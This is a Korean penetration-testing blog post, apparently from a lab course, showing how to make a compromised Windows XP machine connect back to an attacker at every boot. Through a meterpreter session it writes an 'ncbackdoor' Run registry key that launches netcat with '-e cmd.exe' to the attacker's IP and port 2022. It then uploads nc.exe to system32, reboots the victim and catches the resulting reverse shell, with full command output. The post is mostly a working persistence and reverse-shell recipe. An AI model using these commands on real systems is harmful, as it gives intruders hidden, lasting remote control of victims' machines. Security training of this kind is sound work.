Victim의 Windows XP가 부팅 시 Attacker로 자동으로 연결될 수 있도록 레지스트리에 등록한다.
nc.exe를 활용한다.
malware.exe를 실행해서 meterpreter 가 연결된 상태에서 아래 조건을 진행한다.
meterpreter >
-- 조건 --
1. 레지스트리 위치 : HKLM\Software\Microsoft\Windows\CurrentVersion\RUN
2. 레지스트리 키 : ncbackdoor
3. nc 업로드 경로 : c:\Windows\system32
4. 악성코드 실행 형태 : reverse shell
5. Reverse 연결 IP주소 : 192.168.108.102
6. 악성 프로그램 : nc.exe (msfvenom 에서 nc.exe를 생성하는게 아니라 순수한 netcat을 이용한다.)
7. 접속 포트 : 2022
8. 1 ~ 3번 까지는 metasploit을 이용하고 Victim이 부팅하면 metasploit 하고 상관없이 nc.exe 단독 실행이다.
9. Victim을 부팅하면 공격자의 metasploit을 모두 종료해야 된다.
-- 조건 --
1. 레지스트리 키 등록
레지스트리에 OS가 부팅되면 nc.exe가 실행될 수 있도록 등록한다.
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v ncbackdoor -d "c:\\windows\\system32\\nc.exe 192.168.108.102 2022 -d -e cmd.exe"
Successfully set ncbackdoor of REG_SZ.
meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN
Enumerating: HKLM\Software\Microsoft\Windows\CurrentVersion\RUN
Keys (1):
OptionalComponents
Values (10):
IMJPMIG8.1
PHIME2002ASync
PHIME2002A
BluetoothAuthenticationAgent
VMware User Process
Adobe Reader Speed Launcher
Adobe ARM
test
backdoor
ncbackdoor <-- 등록된 ncbackdoor 키
등록된 ncbackdoor 를 확인한다.
meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v ncbackdoor
Key: HKLM\Software\Microsoft\Windows\CurrentVersion\RUN
Name: ncbackdoor
Type: REG_SZ
Data: c:\windows\system32\nc.exe 192.168.108.102 2022 -d -e cmd.exe
2. nc.exe 업로드
Attacker : /usr/share/windows-binaries/nc.exe
nc.exe를 c:/windows/system32 디렉터리에 업로드한다.
meterpreter > upload /usr/share/windows-binaries/nc.exe c:/windows/system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> c:/windows/system32
[*] uploaded : /usr/share/windows-binaries/nc.exe -> c:/windows/system32\nc.exe
3. Victim 재부팅
meterpreter > reboot
meterpreter > exit
msf6 exploit(multi/handler) > exit
4. 포트 대기
2022 번 포트를 대기한다.
Attacker ~# nc -lvp 2022
listening on [any] 2022 ...
5. 공격 성공
Victim이 부팅이 완료되면 공격자에게 연결된다.
Attacker ~# nc -lvp 2022
listening on [any] 2022 ...
192.168.108.105: inverse host lookup failed: Unknown host
connect to [192.168.108.102] from (UNKNOWN) [192.168.108.105] 1027
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\ksw>
'Linux > 모의해킹' 카테고리의 다른 글
| MAC 주소 변경하기 (0) | 2022.01.06 |
|---|---|
| 시스인터널스 툴 (Sysinternals Tools) (0) | 2022.01.05 |
| 레지스트리 명령어 추가 (0) | 2022.01.05 |
| 키 로그 (Key Log) (0) | 2022.01.05 |
| 파일 다운로드 (0) | 2022.01.05 |